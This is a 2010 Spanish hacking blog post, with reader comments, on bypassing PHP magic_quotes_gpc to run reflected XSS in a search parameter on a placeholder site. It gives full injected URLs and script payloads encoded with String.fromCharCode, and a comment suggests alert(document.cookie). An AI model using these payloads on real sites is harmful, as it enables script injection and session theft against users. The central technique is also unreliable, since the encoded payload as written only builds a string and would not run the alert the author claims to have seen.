domingo 30 de mayo de 2010

ByPass Magic_Quotes_gpc to Xss

Bueno, un poco de tiempo libre después de estudiar para mi examen de literatura me hicieron pensar en los Xss...lo sé es absurdo pero necesitaba introducción...

Bueno resulta que hay veces que uno ve una variable asi:

http://www.webvuln.com/busqueda.php?palabra=

que tentador... un buscador... lo primero que pienso yo al ver un buscador es... google... pero aparte... XSS... asi que vamos a intentar explotarlo...

vamos a buscar:

"hola"

si nos aparece el texto exacto estamos hechos... por que de hecho es vulnerable... pero que pasó... miren lo que nos voto...

\"hola\"

entonces lo que se me viene a la mente son dos cosas... hay un filtro... y el filtro puede ser Magic_Quotes_gpc() entonces... vamos a intentar bypassearlo de una manera muy sencilla que si tienen el hackbar todo es mas sencillo pero sino pues miren... esto se bypassea muy facil... podríamos usar:

http://www.webvuln.com/busqueda.php?palabra="><script>alert("Dr.Neox & Dr.White")</script>

pero no nos va a dejar pes por que hay " nos va a chantar los \ asi que vamos a usar el HACKBAR... ponemos la URL con el boton Load URL luego ponemos Split URL y ya tenemos nuestra variable solita... ahora damos click donde está la variable borraos el contenido de la búsqueda y ponemos el boton XSS luego String.CharCode() luego nos va a saltar un inputbox (una cajita) y escribimos ahí lo que queremos... por ejemplo... en mi caso pondré alert("Dr.Neox & Dr.White")... ahora si... ponemos enter y voila...

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 68, 114, 46, 78, 101, 111, 120, 32, 38, 32, 68, 114, 46, 87, 104, 105, 116, 101, 34, 41)

ahora en nuestra búsqueda pondremos lo siguiente y estamos listos...

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 68, 114, 46, 78, 101, 111, 120, 32, 38, 32, 68, 114, 46, 87, 104, 105, 116, 101, 34, 41)</script>

y Salto nuestra cajita mágica... hemos bypasseado el filtro...

espero les guste... ya que esto es viejo sin embargo es útil en muchas ocaciones...

resultado total:

http://www.webvuln.com/busqueda.php?palabra=<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 68, 114, 46, 78, 101, 111, 120, 32, 38, 32, 68, 114, 46, 87, 104, 105, 116, 101, 34, 41)</script>


Saludos
Dr.White

4 comentarios:

Jose Selvi dijo...

Dr.White, ese código Javascript ¿para que navegadores es funcional?

Yo lo había hecho siempre sólo con el texto del alert, nunca también con el propio alert, no me imaginaba que eso pudiera funcionar.

También llamaba a veces a un objeto cualquiera, como alert(document.cookie), que no necesita comillas.

Dr.White dijo...

claro puedes llamar algo como el document.cookie que no necesita comillas tienes muchas razon, no entiendo muy bien lo que quieres decir en la primera parte, podrías re-escribir lo que me querías decir?


Saludos y gracias

Jose Selvi dijo...

Quiero decir, que a veces cuando se hace un código javascript "raro" para saltarse los filtros no funciona en todos los navegadores.

Por ejemplo, en la famosa CheatSheet de XSS de RSnake te pone abajo de cada uno de los Javascript para que navegadores funciona y para cuales no.

La pregunta es esa, ¿con que navegadores lo has probado y funciona?

Gracias!

Dr.White dijo...

Pues para serte sincero siempre uso el mozilla firefox para la mayoría de mis pruebas, de hecho si lees el post dice que use el addon hackbar el cual es del mozilla firefox... mmm lo he provado con mozilla firefox nada mas... mmm será interesante para la proxima hacer mas pruebas de distintos navegadores gracias por la idea jose :)


Saludos y muy bueno tu blog pentesters ;) lo tengo entre mis feeds diarios